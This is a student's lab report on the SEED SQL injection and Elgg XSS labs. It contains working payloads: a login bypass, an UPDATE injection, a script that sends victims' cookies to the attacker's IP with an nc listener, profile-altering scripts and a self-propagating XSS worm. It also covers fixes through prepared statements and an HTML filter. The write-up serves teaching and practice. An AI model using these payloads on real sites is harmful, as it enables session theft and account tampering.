20232801 2023-2024-2 《网络攻防实践》实践十报告
1.实践内容
一、SEED SQL注入攻击与防御实验
1.熟悉SQL语:查看creditential的表中的内容。
2.对SELECT语句的SQL注入攻击:在不知道密码的情况下登陆该Web应用程序
3.对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
4.QL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
1.弹窗显示cookie信息:将cookie信息显示。
2.窃取受害者的cookies:将cookie发送给攻击者。
3.成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
5.修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
2.实践过程
一、SEED SQL注入攻击与防御实验
- 修改自己的主机名为:ly(名字首字母缩写)命令为:
hostname ly
再sudo service apache2
star启动Apache服务 打开两个页面
www.xsslabelgg.com
www.SEEDLabSQLInjection.com、
1、熟悉SQL语句
- 在终端中使用命令:
mysql -u root -pseedubuntu
登录MySQL数据库
- 使用
use Users;
切换数据库,再使用show tables;
查看数据库中的表,注意这里**’;’**不能省略,这表示一句命令的结束。
- 使用
select * from credential;
查看表中的信息,看到表中有ID号,姓名,生日,薪资,密码等信息。
- 熟悉一下SQL,如果我想要查找Alice 的信息,使用如下命令
select * from credential where Name='Alice';
2.对SELECT语句进行SQL注入攻击
- 打开我们刚刚的网址www.seedlabsqlinject.com网址,看到SQL实验平台,的登录界面。
- 首先鼠标在界面点击右键,找到View Page Source ,我们查看代码。
可以看到表单 使用 get方法将用户的输入信息提交到了unsafe_home.php页面进行权限校验。
输入:var/www/SQLInjection/unsafe_home.php,在在Text Editor中打开存储动态信息文件var中的unsafe_home.php,即可查询到源代码。
- 文件中可以看到where部分存在可以进行注入攻击的漏洞
#后的内容为注释内容,将name设为Admin‘#,#后边的内容就都没了,相当于密码部分直接为空白
- 我们使用Admin’#进行登录:不输入密码。
登录成功
3、对UPDATE语句的SQL注入攻击
- 对表中的元素进行修改,修改Admin的Salary,将400000修改为826
unsafe_edit_backend.php查看代码。
$input_nickname 直接填入了,我们使用一个右引号就相当于结束了这一段, 使用 ‘, Salary=‘826’ where name=‘Admin’; #,
也就是把Admin的Salary改为826。
返回查看效果,已经修改成功。
4、SQL对抗——SQL注入漏洞的修复
- 在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理
将原来的:$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
修改为:$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
注入失败
二、SEED XSS跨站脚本攻击实验(Elgg)
1.发布恶意消息,显示警报窗口
进入到http://www.xsslabelgg.com/profile/alice网址,进行登录,账户:Alice 密码:seedalice
登录成功
edit profile功能修改页面信息
Brief description位置输入<script> alert('xss');</script>
后保存。
看到弹出XSS窗口,攻击成功。
2、cookies信息弹窗显示
使用刚刚的方法,将攻击代码改成<script>alert(document.cookie);</script>
此时我们可以看到当前已经是登录网页的cookie信息
3、窃取受害者的cookies
查到本机的地址为:192.168.227.42
将写入攻击代码<script>document.write('<img src=http://192.168.227.42:55555?c='+escape(document.cookie) + ' >');</script>
使用命令nc -l 5555 -v进行监听,得到如下cookies信息。
4 、成为受害者的朋友
- 我们首先通过www.xsslabelgg.com/profile/boby进入到Boby的页面,进入到开发者工具。
- Add friend选项添加此朋友,得到如下反馈界面。
- 构造一段代码,写入到Alice的 about me 中保存
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
- 添加好友成功。
5 、修改受害者的信息
- 构造代码,js脚本:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.20222811zj </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- Alice页面的About me中输入
登录Boby ,通过menber点击Alice主页后,在从右上角进入profile,发现Boby的简介变了
6. 编写 XSS 蠕虫
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack again "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 将这部分代码放入Alice用户profile的About Me中,使用Edit HTML模式。
- 退出Alice,使用Boby登录,在member中访问Alice主页,在左上角返回自己的profile,看到 发现信息再次被修改。
- 退出Boby,使用Admin登录,用户名:Admin密码:seedelgg。同样成员中访问Boby主页,再通过左上角返回自己的profile,发现About
me已经被修改。
7、 对抗 XSS 攻击
1.AAdmin发现了XSS攻击,打开管理页面。
2、找到Plugins,插件HTMLawed并点击进行激活。目的是:对用户的输入输出进行校验并且去除特定标签
3.再次查看profile页面,此时的XSS攻击已经失效。
3.学习中遇到的问题及解决
- 问题1:seedubuntu无法复制粘贴
- 问题1解决方案:在ubuntu虚拟机中登录CSDN,找到相应代码,进行复制
4.实践总结
明白了SQL注入:形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
XSS攻击:跨网站脚本,由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中。
SQL注入能够攻进数据库,拿到信息甚至还可以修改信息,直观感受到XSS攻击的过程